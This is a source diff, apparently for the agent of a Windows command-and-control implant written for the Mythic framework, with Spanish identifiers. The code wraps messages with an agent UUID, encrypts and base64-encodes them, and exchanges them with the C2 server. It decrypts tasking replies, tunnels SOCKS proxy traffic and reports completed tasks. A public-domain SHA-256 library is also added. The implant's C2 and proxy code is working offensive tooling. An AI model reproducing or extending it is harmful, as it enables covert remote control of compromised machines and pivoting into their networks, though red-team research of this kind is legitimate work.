||||
|
||||
// Log encrypted data preview
|
||||
printf("[PAQUETE] Encrypted data preview (hex, first 80 bytes): ");
|
||||
for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) {
|
||||
printf("%02x ", ((PBYTE)dataPackage->buffer)[i]);
|
||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
||||
}
|
||||
printf("\n");
|
||||
fflush(stdout);
|
||||
|
||||
// Concatenate UUID + encrypted data
|
||||
SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
|
||||
PBYTE finalBuffer = (PBYTE)LocalAlloc(LPTR, finalSize);
|
||||
if (!finalBuffer) {
|
||||
LocalFree(dataPackage->buffer);
|
||||
LocalFree(dataPackage);
|
||||
printf("[PAQUETE] ERROR: Failed to allocate final buffer\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf("[PAQUETE] === CONCATENATING UUID + ENCRYPTED DATA ===\n");
|
||||
memcpy(finalBuffer, uuidStr, UUID_LENGTH);
|
||||
printf("[PAQUETE] Copied UUID (%zu bytes) to final buffer\n", UUID_LENGTH);
|
||||
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
|
||||
printf("[PAQUETE] Copied encrypted data (%zu bytes) to final buffer at offset %zu\n",
|
||||
dataPackage->length, UUID_LENGTH);
|
||||
|
||||
datosAEnviar = finalBuffer;
|
||||
tamanoAEnviar = finalSize;
|
||||
|
||||
printf("[PAQUETE] === FINAL BUFFER READY ===\n");
|
||||
printf("[PAQUETE] Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)\n",
|
||||
finalSize, UUID_LENGTH, dataPackage->length);
|
||||
|
||||
// Log first bytes of final buffer (show UUID + start of encrypted data)
|
||||
printf("[PAQUETE] Final buffer preview (hex, first 100 bytes): ");
|
||||
for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) {
|
||||
printf("%02x ", finalBuffer[i]);
|
||||
if (i == UUID_LENGTH - 1) {
|
||||
printf("| "); // Mark where UUID ends
|
||||
}
|
||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Log final buffer as readable string (first part should be UUID)
|
||||
char finalPreview[101] = {0};
|
||||
size_t previewLen = finalSize > 100 ? 100 : finalSize;
|
||||
memcpy(finalPreview, finalBuffer, previewLen);
|
||||
printf("[PAQUETE] Final buffer preview (ASCII, first 100 bytes): %.*s\n",
|
||||
(int)previewLen, finalPreview);
|
||||
printf("[PAQUETE] First 36 chars should be UUID: %.*s\n", 36, finalPreview);
|
||||
fflush(stdout);
|
||||
|
||||
// Cleanup temporary package
|
||||
LocalFree(dataPackage->buffer);
|
||||
LocalFree(dataPackage);
|
||||
} else {
|
||||
printf("[PAQUETE] Cifrado deshabilitado, enviando plaintext completo\n");
|
||||
datosAEnviar = (PBYTE)paquete->buffer;
|
||||
tamanoAEnviar = paquete->length;
|
||||
}
|
||||
|
||||
// Codificar en base64
|
||||
printf("[PAQUETE] === BASE64 ENCODING ===\n");
|
||||
printf("[PAQUETE] Binary size to encode: %zu bytes\n", tamanoAEnviar);
|
||||
|
||||
// Log binary data before base64
|
||||
printf("[PAQUETE] Binary data preview (hex, first 80 bytes): ");
|
||||
for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) {
|
||||
printf("%02x ", datosAEnviar[i]);
|
||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
|
||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
|
||||
|
||||
if (!paqueteParaMandar) {
|
||||
printf("[PAQUETE] ERROR: b64Codificado returned NULL\n");
|
||||
fflush(stdout);
|
||||
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
|
||||
LocalFree(datosAEnviar);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf("[PAQUETE] Base64 encoding complete\n");
|
||||
printf("[PAQUETE] Tamaño después de base64: %zu bytes (expected: ~%zu bytes)\n",
|
||||
tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3);
|
||||
|
||||
// Log base64 preview with more detail
|
||||
if (paqueteParaMandar && tamanoDelPaquete > 0) {
|
||||
size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete;
|
||||
char preview[101] = {0};
|
||||
memcpy(preview, paqueteParaMandar, previewLen);
|
||||
printf("[PAQUETE] Base64 preview (first %zu chars): %s\n", previewLen, preview);
|
||||
if (tamanoDelPaquete > 100) {
|
||||
printf("[PAQUETE] ... (total %zu chars)\n", tamanoDelPaquete);
|
||||
}
|
||||
|
||||
// Show where UUID should be in base64 (first 48 chars should be UUID base64)
|
||||
printf("[PAQUETE] First 48 chars of base64 (should contain UUID): %.*s\n",
|
||||
48, paqueteParaMandar);
|
||||
}
|
||||
printf("[PAQUETE] === READY TO SEND ===\n");
|
||||
printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete);
|
||||
fflush(stdout);
|
||||
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||
LocalFree(paqueteParaMandar);
|
||||
|
||||
// Free the encrypted buffer if we allocated it
|
||||
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
|
||||
LocalFree(datosAEnviar);
|
||||
}
|
||||
|
||||
if (!respuesta) {
|
||||
printf("[PAQUETE] ERROR: respuesta NULL\n");
|
||||
fflush(stdout);
|
||||
paqueteParaMandar = NULL;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf("[PAQUETE] respuesta OK\n");
|
||||
fflush(stdout);
|
||||
|
||||
// === Decodificar base64 de la respuesta ===
|
||||
// When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts
|
||||
// the response, but the agent still receives it base64-encoded from HTTP.
|
||||
// The agent will handle decryption AFTER base64 decode if needed.
|
||||
if (respuesta && respuesta->original && respuesta->tamano > 0) {
|
||||
printf("[PAQUETE] Decodificando base64 de %zu bytes...\n", respuesta->tamano);
|
||||
fflush(stdout);
|
||||
|
||||
PBYTE datosDecodificados = NULL;
|
||||
SIZE_T tamanoDecodificado = 0;
|
||||
|
||||
// Convertir a string null-terminated para decodificar
|
||||
PCHAR base64str = LocalAlloc(LPTR, respuesta->tamano + 1);
|
||||
if (base64str) {
|
||||
memcpy(base64str, respuesta->original, respuesta->tamano);
|
||||
base64str[respuesta->tamano] = '\0';
|
||||
|
||||
// Decodificar
|
||||
if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) {
|
||||
printf("[PAQUETE] Base64 decodificado: %zu bytes\n", tamanoDecodificado);
|
||||
fflush(stdout);
|
||||
|
||||
// === Decrypt if encryption is enabled ===
|
||||
if (crypto_is_encryption_enabled()) {
|
||||
printf("[PAQUETE] === DECRYPTING RESPONSE ===\n");
|
||||
printf("[PAQUETE] Base64 decoded size: %zu bytes\n", tamanoDecodificado);
|
||||
|
||||
// Log raw data before decryption
|
||||
printf("[PAQUETE] Raw response before decryption (hex, first 80 bytes): ");
|
||||
for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) {
|
||||
printf("%02x ", datosDecodificados[i]);
|
||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
// Check if response starts with UUID (which would mean it's in format UUID + encrypted_data)
|
||||
if (tamanoDecodificado >= 36) {
|
||||
char uuidCheck[37] = {0};
|
||||
memcpy(uuidCheck, datosDecodificados, 36);
|
||||
printf("[PAQUETE] First 36 bytes (UUID check): %s\n", uuidCheck);
|
||||
printf("[PAQUETE] Expected UUID: %s\n", cazallaConfig->idAgente);
|
||||
|
||||
// If response starts with UUID, we need to extract it
|
||||
if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) {
|
||||
printf("[PAQUETE] Response format: UUID + encrypted_data detected\n");
|
||||
printf("[PAQUETE] Extracting encrypted data (after UUID)...\n");
|
||||
|
||||
// Extract encrypted data (without UUID)
|
||||
SIZE_T encrypted_size = tamanoDecodificado - 36;
|
||||
PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size);
|
||||
if (encrypted_data) {
|
||||
memcpy(encrypted_data, datosDecodificados + 36, encrypted_size);
|
||||
printf("[PAQUETE] Encrypted data size (without UUID): %zu bytes\n", encrypted_size);
|
||||
|
||||
// Create parser with just the encrypted data
|
||||
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
||||
if (tempParser) {
|
||||
tempParser->buffer = encrypted_data;
|
||||
tempParser->tamano = encrypted_size;
|
||||
|
||||
if (CryptoMythicDecryptParser(tempParser)) {
|
||||
printf("[PAQUETE] === DECRYPTION SUCCESS ===\n");
|
||||
printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano);
|
||||
|
||||
// Create final buffer with UUID + decrypted data
|
||||
SIZE_T final_size = 36 + tempParser->tamano;
|
||||
PBYTE final_buffer = (PBYTE)LocalAlloc(LPTR, final_size);
|
||||
if (final_buffer) {
|
||||
memcpy(final_buffer, datosDecodificados, 36); // UUID
|
||||
memcpy(final_buffer + 36, tempParser->buffer, tempParser->tamano); // Decrypted data
|
||||
LocalFree(datosDecodificados);
|
||||
datosDecodificados = final_buffer;
|
||||
tamanoDecodificado = final_size;
|
||||
printf("[PAQUETE] Final response (UUID + decrypted): %zu bytes\n", final_size);
|
||||
}
|
||||
} else {
|
||||
printf("[PAQUETE] ERROR: Falló el descifrado\n");
|
||||
}
|
||||
LocalFree(tempParser);
|
||||
} else {
|
||||
LocalFree(encrypted_data);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Response doesn't start with UUID, try decrypting directly
|
||||
printf("[PAQUETE] Response doesn't start with UUID, trying direct decryption...\n");
|
||||
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
||||
if (tempParser) {
|
||||
tempParser->buffer = datosDecodificados;
|
||||
tempParser->tamano = tamanoDecodificado;
|
||||
|
||||
if (CryptoMythicDecryptParser(tempParser)) {
|
||||
printf("[PAQUETE] === DECRYPTION SUCCESS (no UUID in response) ===\n");
|
||||
printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano);
|
||||
datosDecodificados = tempParser->buffer;
|
||||
tamanoDecodificado = tempParser->tamano;
|
||||
} else {
|
||||
printf("[PAQUETE] ERROR: Falló el descifrado\n");
|
||||
}
|
||||
LocalFree(tempParser);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
printf("[PAQUETE] WARNING: Response too short (%zu bytes), cannot check UUID\n", tamanoDecodificado);
|
||||
// Try decrypting anyway
|
||||
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
||||
if (tempParser) {
|
||||
tempParser->buffer = datosDecodificados;
|
||||
tempParser->tamano = tamanoDecodificado;
|
||||
|
||||
if (CryptoMythicDecryptParser(tempParser)) {
|
||||
printf("[PAQUETE] Decryption succeeded for short response\n");
|
||||
datosDecodificados = tempParser->buffer;
|
||||
tamanoDecodificado = tempParser->tamano;
|
||||
} else {
|
||||
printf("[PAQUETE] ERROR: Falló el descifrado\n");
|
||||
}
|
||||
LocalFree(tempParser);
|
||||
}
|
||||
}
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
// Reemplazar el buffer del analizador
|
||||
LocalFree(respuesta->original);
|
||||
respuesta->original = datosDecodificados;
|
||||
respuesta->buffer = datosDecodificados;
|
||||
respuesta->tamano = tamanoDecodificado;
|
||||
|
||||
// AHORA parsear bloque SOCKS en los datos DECODIFICADOS
|
||||
if (respuesta->tamano >= 5) {
|
||||
PBYTE buf = respuesta->original;
|
||||
SIZE_T len = respuesta->tamano;
|
||||
SIZE_T cursor = len - 5;
|
||||
BOOL found = FALSE;
|
||||
|
||||
printf("[PAQUETE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados\n", len);
|
||||
fflush(stdout);
|
||||
|
||||
// Buscar marcador desde el final
|
||||
while (cursor > 0 && cursor < len - 4) {
|
||||
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
|
||||
printf("[PAQUETE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor);
|
||||
fflush(stdout);
|
||||
|
||||
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
|
||||
printf("[PAQUETE] Bloque SOCKS: ext_len=%u\n", ext_len);
|
||||
fflush(stdout);
|
||||
|
||||
if (cursor + 5 + ext_len > len) {
|
||||
printf("[PAQUETE] ERROR: bloque SOCKS truncado\n");
|
||||
fflush(stdout);
|
||||
break;
|
||||
}
|
||||
|
||||
SIZE_T ecur = cursor + 5;
|
||||
SIZE_T eend = cursor + 5 + ext_len;
|
||||
while (ecur + 9 <= eend) {
|
||||
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
|
||||
BYTE exitf = buf[ecur+4];
|
||||
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
|
||||
ecur += 9;
|
||||
|
||||
if (ecur + b64len > eend) break;
|
||||
|
||||
unsigned char *raw = NULL;
|
||||
size_t raw_len = 0;
|
||||
char *b64str_socks = NULL;
|
||||
|
||||
if (b64len > 0) {
|
||||
b64str_socks = (char*)LocalAlloc(LPTR, b64len + 1);
|
||||
if (b64str_socks) {
|
||||
memcpy(b64str_socks, buf + ecur, b64len);
|
||||
b64str_socks[b64len] = '\0';
|
||||
printf("[PAQUETE] Decodificando base64 SOCKS: %s\n", b64str_socks);
|
||||
fflush(stdout);
|
||||
base64_decode(b64str_socks, &raw, &raw_len);
|
||||
printf("[PAQUETE] Base64 SOCKS decodificado: %zu bytes\n", raw_len);
|
||||
fflush(stdout);
|
||||
LocalFree(b64str_socks);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[PAQUETE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len);
|
||||
fflush(stdout);
|
||||
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
|
||||
|
||||
if (raw) LocalFree(raw);
|
||||
ecur += b64len;
|
||||
}
|
||||
|
||||
// Remover bloque SOCKS del analizador
|
||||
respuesta->tamano = cursor;
|
||||
printf("[PAQUETE] Bloque SOCKS procesado, tamaño ajustado a %zu\n", cursor);
|
||||
fflush(stdout);
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
cursor--;
|
||||
}
|
||||
|
||||
if (!found) {
|
||||
printf("[PAQUETE] No se encontró bloque SOCKS\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
printf("[PAQUETE] ERROR: fallo al decodificar base64\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
LocalFree(base64str);
|
||||
}
|
||||
}
|
||||
|
||||
return respuesta;
|
||||
}
|
||||
|
||||
@@ -204,3 +616,27 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) {
|
||||
free(tempBuffer);
|
||||
return TRUE;
|
||||
}
|
||||
// Sends SUCCESS post_response to server for individual task (similar to Xenon's PackageComplete)
|
||||
VOID paqueteCompletado(PCHAR taskUuid, PPaquete datosOpcionales) {
|
||||
// Initialize post_response package
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuesta, taskUuid, FALSE);
|
||||
|
||||
if (datosOpcionales != NULL && datosOpcionales->buffer != NULL && datosOpcionales->length > 0) {
|
||||
// Use data from package
|
||||
addBytes(respuesta, (PBYTE)datosOpcionales->buffer, datosOpcionales->length, TRUE);
|
||||
} else {
|
||||
// If no data, add empty output
|
||||
addInt32(respuesta, 0);
|
||||
}
|
||||
|
||||
// Success response - add TASK_COMPLETE byte
|
||||
addByte(respuesta, TASK_COMPLETE);
|
||||
|
||||
// Send
|
||||
Analizador* resp = mandarPaquete(respuesta);
|
||||
|
||||
// Cleanup
|
||||
liberarPaquete(respuesta);
|
||||
if (resp) liberarAnalizador(resp);
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// WjCryptLib_Sha256
|
||||
//
|
||||
// Implementation of SHA256 hash function.
|
||||
// Original author: Tom St Denis, tomstdenis@gmail.com, http://libtom.org
|
||||
// Modified by WaterJuice retaining Public Domain license.
|
||||
//
|
||||
// This is free and unencumbered software released into the public domain -
|
||||
// June 2013 waterjuice.org
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// IMPORTS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "sha256.h"
|
||||
#include <memory.h>
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// MACROS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#define ror(value, bits) (((value) >> (bits)) | ((value) << (32 - (bits))))
|
||||
|
||||
#define MIN(x, y) (((x) < (y)) ? (x) : (y))
|
||||
|
||||
#define STORE32H(x, y) \
|
||||
{ \
|
||||
(y)[0] = (uint8_t)(((x) >> 24) & 255); \
|
||||
(y)[1] = (uint8_t)(((x) >> 16) & 255); \
|
||||
(y)[2] = (uint8_t)(((x) >> 8) & 255); \
|
||||
(y)[3] = (uint8_t)((x)&255); \
|
||||
}
|
||||
|
||||
#define LOAD32H(x, y) \
|
||||
{ \
|
||||
x = ((uint32_t)((y)[0] & 255) << 24) | ((uint32_t)((y)[1] & 255) << 16) | \
|
||||
((uint32_t)((y)[2] & 255) << 8) | ((uint32_t)((y)[3] & 255)); \
|
||||
}
|
||||
|
||||
#define STORE64H(x, y) \
|
||||
{ \
|
||||
(y)[0] = (uint8_t)(((x) >> 56) & 255); \
|
||||
(y)[1] = (uint8_t)(((x) >> 48) & 255); \
|
||||
(y)[2] = (uint8_t)(((x) >> 40) & 255); \
|
||||
(y)[3] = (uint8_t)(((x) >> 32) & 255); \
|
||||
(y)[4] = (uint8_t)(((x) >> 24) & 255); \
|
||||
(y)[5] = (uint8_t)(((x) >> 16) & 255); \
|
||||
(y)[6] = (uint8_t)(((x) >> 8) & 255); \
|
||||
(y)[7] = (uint8_t)((x)&255); \
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// CONSTANTS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// The K array
|
||||
static const uint32_t K[64] = {
|
||||
0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL,
|
||||
0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL,
|
||||
0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL,
|
||||
0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL,
|
||||
0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL,
|
||||
0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL,
|
||||
0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL,
|
||||
0x53380d13UL, 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL,
|
||||
0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL,
|
||||
0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL,
|
||||
0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL,
|
||||
0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL,
|
||||
0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL};
|
||||
|
||||
#define BLOCK_SIZE 64
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// INTERNAL FUNCTIONS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// Various logical functions
|
||||
#define Ch(x, y, z) (z ^ (x & (y ^ z)))
|
||||
#define Maj(x, y, z) (((x | y) & z) | (x & y))
|
||||
#define S(x, n) ror((x), (n))
|
||||
#define R(x, n) (((x)&0xFFFFFFFFUL) >> (n))
|
||||
#define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22))
|
||||
#define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25))
|
||||
#define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3))
|
||||
#define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10))
|
||||
|
||||
#define Sha256Round(a, b, c, d, e, f, g, h, i) \
|
||||
t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \
|
||||
t1 = Sigma0(a) + Maj(a, b, c); \
|
||||
d += t0; \
|
||||
h = t0 + t1;
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// TransformFunction
|
||||
//
|
||||
// Compress 512-bits
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
static void TransformFunction(Sha256Context* Context, uint8_t const* Buffer) {
|
||||
uint32_t S[8];
|
||||
uint32_t W[64];
|
||||
uint32_t t0;
|
||||
uint32_t t1;
|
||||
uint32_t t;
|
||||
int i;
|
||||
|
||||
// Copy state into S
|
||||
for (i = 0; i < 8; i++) {
|
||||
S[i] = Context->state[i];
|
||||
}
|
||||
|
||||
// Copy the state into 512-bits into W[0..15]
|
||||
for (i = 0; i < 16; i++) {
|
||||
LOAD32H(W[i], Buffer + (4 * i));
|
||||
}
|
||||
|
||||
// Fill W[16..63]
|
||||
for (i = 16; i < 64; i++) {
|
||||
W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16];
|
||||
}
|
||||
|
||||
// Compress
|
||||
for (i = 0; i < 64; i++) {
|
||||
Sha256Round(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i);
|
||||
t = S[7];
|
||||
S[7] = S[6];
|
||||
S[6] = S[5];
|
||||
S[5] = S[4];
|
||||
S[4] = S[3];
|
||||
S[3] = S[2];
|
||||
S[2] = S[1];
|
||||
S[1] = S[0];
|
||||
S[0] = t;
|
||||
}
|
||||
|
||||
// Feedback
|
||||
for (i = 0; i < 8; i++) {
|
||||
Context->state[i] = Context->state[i] + S[i];
|
||||
}
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// PUBLIC FUNCTIONS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Initialise
|
||||
//
|
||||
// Initialises a SHA256 Context. Use this to initialise/reset a context.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Initialise(Sha256Context* Context // [out]
|
||||
) {
|
||||
Context->curlen = 0;
|
||||
Context->length = 0;
|
||||
Context->state[0] = 0x6A09E667UL;
|
||||
Context->state[1] = 0xBB67AE85UL;
|
||||
Context->state[2] = 0x3C6EF372UL;
|
||||
Context->state[3] = 0xA54FF53AUL;
|
||||
Context->state[4] = 0x510E527FUL;
|
||||
Context->state[5] = 0x9B05688CUL;
|
||||
Context->state[6] = 0x1F83D9ABUL;
|
||||
Context->state[7] = 0x5BE0CD19UL;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Update
|
||||
//
|
||||
// Adds data to the SHA256 context. This will process the data and update the
|
||||
// internal state of the context. Keep on calling this function until all the
|
||||
// data has been added. Then call Sha256Finalise to calculate the hash.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Update(Sha256Context* Context, // [in out]
|
||||
void const* Buffer, // [in]
|
||||
uint32_t BufferSize // [in]
|
||||
) {
|
||||
uint32_t n;
|
||||
|
||||
if (Context->curlen > sizeof(Context->buf)) {
|
||||
return;
|
||||
}
|
||||
|
||||
while (BufferSize > 0) {
|
||||
if (Context->curlen == 0 && BufferSize >= BLOCK_SIZE) {
|
||||
TransformFunction(Context, (uint8_t*)Buffer);
|
||||
Context->length += BLOCK_SIZE * 8;
|
||||
Buffer = (uint8_t*)Buffer + BLOCK_SIZE;
|
||||
BufferSize -= BLOCK_SIZE;
|
||||
} else {
|
||||
n = MIN(BufferSize, (BLOCK_SIZE - Context->curlen));
|
||||
memcpy(Context->buf + Context->curlen, Buffer, (size_t)n);
|
||||
Context->curlen += n;
|
||||
Buffer = (uint8_t*)Buffer + n;
|
||||
BufferSize -= n;
|
||||
if (Context->curlen == BLOCK_SIZE) {
|
||||
TransformFunction(Context, Context->buf);
|
||||
Context->length += 8 * BLOCK_SIZE;
|
||||
Context->curlen = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Finalise
|
||||
//
|
||||
// Performs the final calculation of the hash and returns the digest (32 byte
|
||||
// buffer containing 256bit hash). After calling this, Sha256Initialised must
|
||||
// be used to reuse the context.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Finalise(Sha256Context* Context, // [in out]
|
||||
SHA256_HASH* Digest // [out]
|
||||
) {
|
||||
int i;
|
||||
|
||||
if (Context->curlen >= sizeof(Context->buf)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Increase the length of the message
|
||||
Context->length += Context->curlen * 8;
|
||||
|
||||
// Append the '1' bit
|
||||
Context->buf[Context->curlen++] = (uint8_t)0x80;
|
||||
|
||||
// if the length is currently above 56 bytes we append zeros
|
||||
// then compress. Then we can fall back to padding zeros and length
|
||||
// encoding like normal.
|
||||
if (Context->curlen > 56) {
|
||||
while (Context->curlen < 64) {
|
||||
Context->buf[Context->curlen++] = (uint8_t)0;
|
||||
}
|
||||
TransformFunction(Context, Context->buf);
|
||||
Context->curlen = 0;
|
||||
}
|
||||
|
||||
// Pad up to 56 bytes of zeroes
|
||||
while (Context->curlen < 56) {
|
||||
Context->buf[Context->curlen++] = (uint8_t)0;
|
||||
}
|
||||
|
||||
// Store length
|
||||
STORE64H(Context->length, Context->buf + 56);
|
||||
TransformFunction(Context, Context->buf);
|
||||
|
||||
// Copy output
|
||||
for (i = 0; i < 8; i++) {
|
||||
STORE32H(Context->state[i], Digest->bytes + (4 * i));
|
||||
}
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Calculate
|
||||
//
|
||||
// Combines Sha256Initialise, Sha256Update, and Sha256Finalise into one
|
||||
// function. Calculates the SHA256 hash of the buffer.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Calculate(void const* Buffer, // [in]
|
||||
uint32_t BufferSize, // [in]
|
||||
SHA256_HASH* Digest // [in]
|
||||
) {
|
||||
Sha256Context context;
|
||||
|
||||
Sha256Initialise(&context);
|
||||
Sha256Update(&context, Buffer, BufferSize);
|
||||
Sha256Finalise(&context, Digest);
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// WjCryptLib_Sha256
|
||||
//
|
||||
// Implementation of SHA256 hash function.
|
||||
// Original author: Tom St Denis, tomstdenis@gmail.com, http://libtom.org
|
||||
// Modified by WaterJuice retaining Public Domain license.
|
||||
//
|
||||
// This is free and unencumbered software released into the public domain -
|
||||
// June 2013 waterjuice.org
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
#ifndef _SHA256_H_
|
||||
#define _SHA256_H_
|
||||
|
||||
#pragma once
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// IMPORTS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
typedef struct {
|
||||
uint64_t length;
|
||||
uint32_t state[8];
|
||||
uint32_t curlen;
|
||||
uint8_t buf[64];
|
||||
} Sha256Context;
|
||||
|
||||
#define SHA256_HASH_SIZE (256 / 8)
|
||||
|
||||
typedef struct {
|
||||
uint8_t bytes[SHA256_HASH_SIZE];
|
||||
} SHA256_HASH;
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// PUBLIC FUNCTIONS
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// Sha256Initialise
|
||||
//
|
||||
// Initialises a SHA256 Context. Use this to initialise/reset a context.
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
void Sha256Initialise(Sha256Context* Context // [out]
|
